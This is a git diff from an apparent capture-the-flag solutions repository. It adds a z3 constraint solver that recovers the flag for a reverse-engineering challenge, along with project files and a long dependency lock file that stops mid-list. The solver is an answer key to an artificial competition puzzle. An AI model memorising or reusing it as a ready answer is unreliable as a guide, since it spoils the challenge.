+flag_data = [72571,144964,217224,289496,361110,433332,502467,574096,645273,716520,792891,858024,925756,995232,1070055,1137952,1209193,1292004,1349513,1414840,1473885,1560372,1617866,1714032,1744800,1852864,1876770,1983016,2014108,2089260,2160607,2225216,2339469,2408560,2418745,2515320,2597400,2604444,2697669,2705680]
+
+solver = Solver()
+
+# Create 41 symbolic bytes
+passwd = [BitVec(f'p{i}', 8) for i in range(40)]
+
+
+# Add ASCII printable constraints for all
+for p in passwd:
+ solver.add(p >= 32, p <= 126)
+
+# Apply known format: GPNCTF{.....}
+known = b"GPNCTF{"
+for i, c in enumerate(known):
+ solver.add(passwd[i] == c)
+solver.add(passwd[39] == ord('}'))
+
+# Implement compute_secret logic
+for index in range(40):
+ total = flag_data[index]
+ for pass_char in range(40):
+ multi = index + pass_char + index * pass_char + 1
+ if pass_char == index:
+ multi = 0
+ total -= ZeroExt(56, passwd[pass_char]) * multi
+ solver.add(total == 0)
+# Solve
+
+print(solver.check())
+if solver.check() == sat:
+ model = solver.model()
+ result = ''.join(chr(model[p].as_long()) for p in passwd)
+ print("Recovered flag:", result)
+else:
+ print("No solution found.")
+
diff --git a/2025/gpn/rev/the-old-way/enc_flag.bin b/2025/gpn/rev/the-old-way/enc_flag.bin
new file mode 100644
index 0000000..30555b1
Binary files /dev/null and b/2025/gpn/rev/the-old-way/enc_flag.bin differ
diff --git a/2025/gpn/rev/the-old-way/pyproject.toml b/2025/gpn/rev/the-old-way/pyproject.toml
new file mode 100644
index 0000000..b568dad
--- /dev/null
+++ b/2025/gpn/rev/the-old-way/pyproject.toml
@@ -0,0 +1,11 @@
+[project]
+name = "the-old-way"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.12"
+dependencies = [
+ "pwntools>=4.14.1",
+ "z3>=0.2.0",
+ "z3-solver>=4.15.1.0",
+]
diff --git a/2025/gpn/rev/the-old-way/the_old_way b/2025/gpn/rev/the-old-way/the_old_way
new file mode 100755
index 0000000..a59269b
Binary files /dev/null and b/2025/gpn/rev/the-old-way/the_old_way differ
diff --git a/2025/gpn/rev/the-old-way/the_old_way.i64 b/2025/gpn/rev/the-old-way/the_old_way.i64
new file mode 100644
index 0000000..351e97e
Binary files /dev/null and b/2025/gpn/rev/the-old-way/the_old_way.i64 differ
diff --git a/2025/gpn/rev/the-old-way/uv.lock b/2025/gpn/rev/the-old-way/uv.lock
new file mode 100644
index 0000000..837410c
--- /dev/null
+++ b/2025/gpn/rev/the-old-way/uv.lock
@@ -0,0 +1,647 @@
+version = 1
+revision = 2
+requires-python = ">=3.12"
+
+[[package]]
+name = "bcrypt"
+version = "4.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bb/5d/6d7433e0f3cd46ce0b43cd65e1db465ea024dbb8216fb2404e919c2ad77b/bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18", size = 25697, upload-time = "2025-02-28T01:24:09.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/bf/2c/3d44e853d1fe969d229bd58d39ae6902b3d924af0e2b5a60d17d4b809ded/bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281", size = 483719, upload-time = "2025-02-28T01:22:34.539Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/e2/58ff6e2a22eca2e2cff5370ae56dba29d70b1ea6fc08ee9115c3ae367795/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb", size = 272001, upload-time = "2025-02-28T01:22:38.078Z" },
+ { url = "https://files.pythonhosted.org/packages/37/1f/c55ed8dbe994b1d088309e366749633c9eb90d139af3c0a50c102ba68a1a/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180", size = 277451, upload-time = "2025-02-28T01:22:40.787Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/1c/794feb2ecf22fe73dcfb697ea7057f632061faceb7dcf0f155f3443b4d79/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f", size = 272792, upload-time = "2025-02-28T01:22:43.144Z" },
+ { url = "https://files.pythonhosted.org/packages/13/b7/0b289506a3f3598c2ae2bdfa0ea66969812ed200264e3f61df77753eee6d/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09", size = 289752, upload-time = "2025-02-28T01:22:45.56Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/24/d0fb023788afe9e83cc118895a9f6c57e1044e7e1672f045e46733421fe6/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d", size = 277762, upload-time = "2025-02-28T01:22:47.023Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/38/cde58089492e55ac4ef6c49fea7027600c84fd23f7520c62118c03b4625e/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd", size = 272384, upload-time = "2025-02-28T01:22:49.221Z" },
+ { url = "https://files.pythonhosted.org/packages/de/6a/d5026520843490cfc8135d03012a413e4532a400e471e6188b01b2de853f/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af", size = 277329, upload-time = "2025-02-28T01:22:51.603Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/a3/4fc5255e60486466c389e28c12579d2829b28a527360e9430b4041df4cf9/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231", size = 305241, upload-time = "2025-02-28T01:22:53.283Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/15/2b37bc07d6ce27cc94e5b10fd5058900eb8fb11642300e932c8c82e25c4a/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c", size = 309617, upload-time = "2025-02-28T01:22:55.461Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/1f/99f65edb09e6c935232ba0430c8c13bb98cb3194b6d636e61d93fe60ac59/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f", size = 335751, upload-time = "2025-02-28T01:22:57.81Z" },
+ { url = "https://files.pythonhosted.org/packages/00/1b/b324030c706711c99769988fcb694b3cb23f247ad39a7823a78e361bdbb8/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d", size = 355965, upload-time = "2025-02-28T01:22:59.181Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/dd/20372a0579dd915dfc3b1cd4943b3bca431866fcb1dfdfd7518c3caddea6/bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4", size = 155316, upload-time = "2025-02-28T01:23:00.763Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/52/45d969fcff6b5577c2bf17098dc36269b4c02197d551371c023130c0f890/bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669", size = 147752, upload-time = "2025-02-28T01:23:02.908Z" },
+ { url = "https://files.pythonhosted.org/packages/11/22/5ada0b9af72b60cbc4c9a399fdde4af0feaa609d27eb0adc61607997a3fa/bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d", size = 498019, upload-time = "2025-02-28T01:23:05.838Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/8c/252a1edc598dc1ce57905be173328eda073083826955ee3c97c7ff5ba584/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b", size = 279174, upload-time = "2025-02-28T01:23:07.274Z" },
+ { url = "https://files.pythonhosted.org/packages/29/5b/4547d5c49b85f0337c13929f2ccbe08b7283069eea3550a457914fc078aa/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e", size = 283870, upload-time = "2025-02-28T01:23:09.151Z" },
+ { url = "https://files.pythonhosted.org/packages/be/21/7dbaf3fa1745cb63f776bb046e481fbababd7d344c5324eab47f5ca92dd2/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59", size = 279601, upload-time = "2025-02-28T01:23:11.461Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/64/e042fc8262e971347d9230d9abbe70d68b0a549acd8611c83cebd3eaec67/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753", size = 297660, upload-time = "2025-02-28T01:23:12.989Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b8/6294eb84a3fef3b67c69b4470fcdd5326676806bf2519cda79331ab3c3a9/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761", size = 284083, upload-time = "2025-02-28T01:23:14.5Z" },
+ { url = "https://files.pythonhosted.org/packages/62/e6/baff635a4f2c42e8788fe1b1633911c38551ecca9a749d1052d296329da6/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb", size = 279237, upload-time = "2025-02-28T01:23:16.686Z" },
+ { url = "https://files.pythonhosted.org/packages/39/48/46f623f1b0c7dc2e5de0b8af5e6f5ac4cc26408ac33f3d424e5ad8da4a90/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d", size = 283737, upload-time = "2025-02-28T01:23:18.897Z" },
+ { url = "https://files.pythonhosted.org/packages/49/8b/70671c3ce9c0fca4a6cc3cc6ccbaa7e948875a2e62cbd146e04a4011899c/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f", size = 312741, upload-time = "2025-02-28T01:23:21.041Z" },
+ { url = "https://files.pythonhosted.org/packages/27/fb/910d3a1caa2d249b6040a5caf9f9866c52114d51523ac2fb47578a27faee/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732", size = 316472, upload-time = "2025-02-28T01:23:23.183Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/cf/7cf3a05b66ce466cfb575dbbda39718d45a609daa78500f57fa9f36fa3c0/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef", size = 343606, upload-time = "2025-02-28T01:23:25.361Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/b8/e970ecc6d7e355c0d892b7f733480f4aa8509f99b33e71550242cf0b7e63/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304", size = 362867, upload-time = "2025-02-28T01:23:26.875Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/97/8d3118efd8354c555a3422d544163f40d9f236be5b96c714086463f11699/bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51", size = 160589, upload-time = "2025-02-28T01:23:28.381Z" },
+ { url = "https://files.pythonhosted.org/packages/29/07/416f0b99f7f3997c69815365babbc2e8754181a4b1899d921b3c7d5b6f12/bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62", size = 152794, upload-time = "2025-02-28T01:23:30.187Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/c1/3fa0e9e4e0bfd3fd77eb8b52ec198fd6e1fd7e9402052e43f23483f956dd/bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3", size = 498969, upload-time = "2025-02-28T01:23:31.945Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/d4/755ce19b6743394787fbd7dff6bf271b27ee9b5912a97242e3caf125885b/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24", size = 279158, upload-time = "2025-02-28T01:23:34.161Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/5d/805ef1a749c965c46b28285dfb5cd272a7ed9fa971f970435a5133250182/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef", size = 284285, upload-time = "2025-02-28T01:23:35.765Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/2b/698580547a4a4988e415721b71eb45e80c879f0fb04a62da131f45987b96/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b", size = 279583, upload-time = "2025-02-28T01:23:38.021Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/87/62e1e426418204db520f955ffd06f1efd389feca893dad7095bf35612eec/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676", size = 297896, upload-time = "2025-02-28T01:23:39.575Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/c6/8fedca4c2ada1b6e889c52d2943b2f968d3427e5d65f595620ec4c06fa2f/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1", size = 284492, upload-time = "2025-02-28T01:23:40.901Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/4d/c43332dcaaddb7710a8ff5269fcccba97ed3c85987ddaa808db084267b9a/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe", size = 279213, upload-time = "2025-02-28T01:23:42.653Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/7f/1e36379e169a7df3a14a1c160a49b7b918600a6008de43ff20d479e6f4b5/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0", size = 284162, upload-time = "2025-02-28T01:23:43.964Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/0a/644b2731194b0d7646f3210dc4d80c7fee3ecb3a1f791a6e0ae6bb8684e3/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f", size = 312856, upload-time = "2025-02-28T01:23:46.011Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/62/2a871837c0bb6ab0c9a88bf54de0fc021a6a08832d4ea313ed92a669d437/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23", size = 316726, upload-time = "2025-02-28T01:23:47.575Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/a1/9898ea3faac0b156d457fd73a3cb9c2855c6fd063e44b8522925cdd8ce46/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe", size = 343664, upload-time = "2025-02-28T01:23:49.059Z" },
+ { url = "https://files.pythonhosted.org/packages/40/f2/71b4ed65ce38982ecdda0ff20c3ad1b15e71949c78b2c053df53629ce940/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505", size = 363128, upload-time = "2025-02-28T01:23:50.399Z" },
+ { url = "https://files.pythonhosted.org/packages/11/99/12f6a58eca6dea4be992d6c681b7ec9410a1d9f5cf368c61437e31daa879/bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a", size = 160598, upload-time = "2025-02-28T01:23:51.775Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/cf/45fb5261ece3e6b9817d3d82b2f343a505fd58674a92577923bc500bd1aa/bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b", size = 152799, upload-time = "2025-02-28T01:23:53.139Z" },
+]
+
+[[package]]
+name = "boto"
+version = "2.49.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c8/af/54a920ff4255664f5d238b5aebd8eedf7a07c7a5e71e27afcfe840b82f51/boto-2.49.0.tar.gz", hash = "sha256:ea0d3b40a2d852767be77ca343b58a9e3a4b00d9db440efb8da74b4e58025e5a", size = 1478498, upload-time = "2018-07-11T20:58:58.057Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/23/10/c0b78c27298029e4454a472a1919bde20cb182dab1662cec7f2ca1dcc523/boto-2.49.0-py2.py3-none-any.whl", hash = "sha256:147758d41ae7240dc989f0039f27da8ca0d53734be0eb869ef16e3adcfa462e8", size = 1359202, upload-time = "2018-07-11T20:58:55.711Z" },
+]
+
+[[package]]
+name = "capstone"
+version = "5.0.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/27/45/d811f0f3b345c8882b9179f7e310f222ba6af45f0cc729028cbf35c6ce03/capstone-5.0.3.tar.gz", hash = "sha256:1f15616c0528f5268f2dc0a81708483e605ce71961b02a01a791230b51fe862d", size = 2943858, upload-time = "2024-08-20T15:20:08.044Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cc/40/503cdbc0b38c5b8b5bcad47ae507b70cecbb18365a82470a46f425788061/capstone-5.0.3-py3-none-macosx_10_9_universal2.whl", hash = "sha256:5dc6b5f4d85a2ba2330473529d7b4faccd71470b489fd19a539c20b74f3c9924", size = 2176874, upload-time = "2024-08-20T15:19:44.511Z" },
+ { url = "https://files.pythonhosted.org/packages/60/3f/89f13db42cd24af1c80831b6ac978a8a42ad860a35cc461ec009c281e8f3/capstone-5.0.3-py3-none-macosx_10_9_x86_64.whl", hash = "sha256:5917b00ddb0b3a665bcb7a623ee08bcaf4ddec783c5d2ca69f72278d6de38d2c", size = 1180331, upload-time = "2024-08-20T15:19:46.149Z" },
+ { url = "https://files.pythonhosted.org/packages/36/79/ddc8a36238791e58ec31a13c10887447b56819d934ab00d6e1371a2e94f1/capstone-5.0.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:76658b66a5f0275c942cd4daf35dca7520387689f588f127020c9130d76c4ddf", size = 1192365, upload-time = "2024-08-20T15:19:47.535Z" },
+ { url = "https://files.pythonhosted.org/packages/22/bc/39d69c65b7d58157d0c3acad9b929a3f0852c84e44b0e25b6fb89a9e1a7d/capstone-5.0.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:237fef7e20906bad09286554c7f8a5a744adeec4d658c5e33938bf9241b5f076", size = 2829855, upload-time = "2024-08-20T15:19:49.353Z" },
+ { url = "https://files.pythonhosted.org/packages/24/f4/ae2d072d39664b7c32da9c8877f7d204692565f7c844da10e70c47730191/capstone-5.0.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a6b7f3ec2346a60475d9d043b437ace5e6688fc9c4d45387476104bd2c231040", size = 2921407, upload-time = "2024-08-20T15:19:51.186Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/1b/1b200d7a32de3b2bf61ee0316385aa566d698d20af99d8e2e00e5ec4b144/capstone-5.0.3-py3-none-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1f25e23052d5fa5b6709f7111d7f1250131fb5dac878b8249a4637e6ab953129", size = 2941774, upload-time = "2024-08-20T15:19:53.736Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/82/dd45915b0de636ef949b9d56bd529ae52987d74db1c2d2b7feb4dee322f6/capstone-5.0.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:aebb35f0cfb808aac24d2e3c745be43bcedbb863ecb0192d720faa8002983544", size = 2840714, upload-time = "2024-08-20T15:19:59.593Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/e0/d3b617dd552a802760d63e29392c217266505f531c799f4b4cf3e9906eef/capstone-5.0.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8d45fdf4ae11197234eedbd81742bd4650924f9bb3abee0b238ea63dad8001cc", size = 2937106, upload-time = "2024-08-20T15:20:02.066Z" },
+ { url = "https://files.pythonhosted.org/packages/00/88/3459e1124a7c1bdc02fa2870ffeecdd0fa2be2b4b3382732cd3e3b2e92f2/capstone-5.0.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:63e8544d7500b889a5feb6f7c9a939723663107dd3360ad18f36a3f6985cfd26", size = 2895850, upload-time = "2024-08-20T15:20:04.166Z" },
+ { url = "https://files.pythonhosted.org/packages/35/29/f751bb52b73b0a2e6414ad4e9271fa0cba966e747c1f3351a9c46e9f1ca7/capstone-5.0.3-py3-none-win_amd64.whl", hash = "sha256:21d00dce9dc204a22126fe6f45a8894d03a6607182bc86f14fc9bd1d1d3897ed", size = 1270430, upload-time = "2024-08-20T15:20:06.092Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2025.6.15"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/73/f7/f14b46d4bcd21092d7d3ccef689615220d8a08fb25e564b65d20738e672e/certifi-2025.6.15.tar.gz", hash = "sha256:d747aa5a8b9bbbb1bb8c22bb13e22bd1f18e9796defa16bab421f7f7a317323b", size = 158753, upload-time = "2025-06-15T02:45:51.329Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/84/ae/320161bd181fc06471eed047ecce67b693fd7515b16d495d8932db763426/certifi-2025.6.15-py3-none-any.whl", hash = "sha256:2e0c7ce7cb5d8f8634ca55d2ba7e6ec2689a2fd6537d8dec1296a477a4910057", size = 157650, upload-time = "2025-06-15T02:45:49.977Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "1.17.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pycparser" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621, upload-time = "2024-09-04T20:45:21.852Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5a/84/e94227139ee5fb4d600a7a4927f322e1d4aea6fdc50bd3fca8493caba23f/cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4", size = 183178, upload-time = "2024-09-04T20:44:12.232Z" },
+ { url = "https://files.pythonhosted.org/packages/da/ee/fb72c2b48656111c4ef27f0f91da355e130a923473bf5ee75c5643d00cca/cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c", size = 178840, upload-time = "2024-09-04T20:44:13.739Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/b6/db007700f67d151abadf508cbfd6a1884f57eab90b1bb985c4c8c02b0f28/cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36", size = 454803, upload-time = "2024-09-04T20:44:15.231Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/df/f8d151540d8c200eb1c6fba8cd0dfd40904f1b0682ea705c36e6c2e97ab3/cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5", size = 478850, upload-time = "2024-09-04T20:44:17.188Z" },
+ { url = "https://files.pythonhosted.org/packages/28/c0/b31116332a547fd2677ae5b78a2ef662dfc8023d67f41b2a83f7c2aa78b1/cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff", size = 485729, upload-time = "2024-09-04T20:44:18.688Z" },
+ { url = "https://files.pythonhosted.org/packages/91/2b/9a1ddfa5c7f13cab007a2c9cc295b70fbbda7cb10a286aa6810338e60ea1/cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99", size = 471256, upload-time = "2024-09-04T20:44:20.248Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/d5/da47df7004cb17e4955df6a43d14b3b4ae77737dff8bf7f8f333196717bf/cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93", size = 479424, upload-time = "2024-09-04T20:44:21.673Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/ac/2a28bcf513e93a219c8a4e8e125534f4f6db03e3179ba1c45e949b76212c/cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3", size = 484568, upload-time = "2024-09-04T20:44:23.245Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/38/ca8a4f639065f14ae0f1d9751e70447a261f1a30fa7547a828ae08142465/cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8", size = 488736, upload-time = "2024-09-04T20:44:24.757Z" },
+ { url = "https://files.pythonhosted.org/packages/86/c5/28b2d6f799ec0bdecf44dced2ec5ed43e0eb63097b0f58c293583b406582/cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65", size = 172448, upload-time = "2024-09-04T20:44:26.208Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b9/db34c4755a7bd1cb2d1603ac3863f22bcecbd1ba29e5ee841a4bc510b294/cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903", size = 181976, upload-time = "2024-09-04T20:44:27.578Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989, upload-time = "2024-09-04T20:44:28.956Z" },
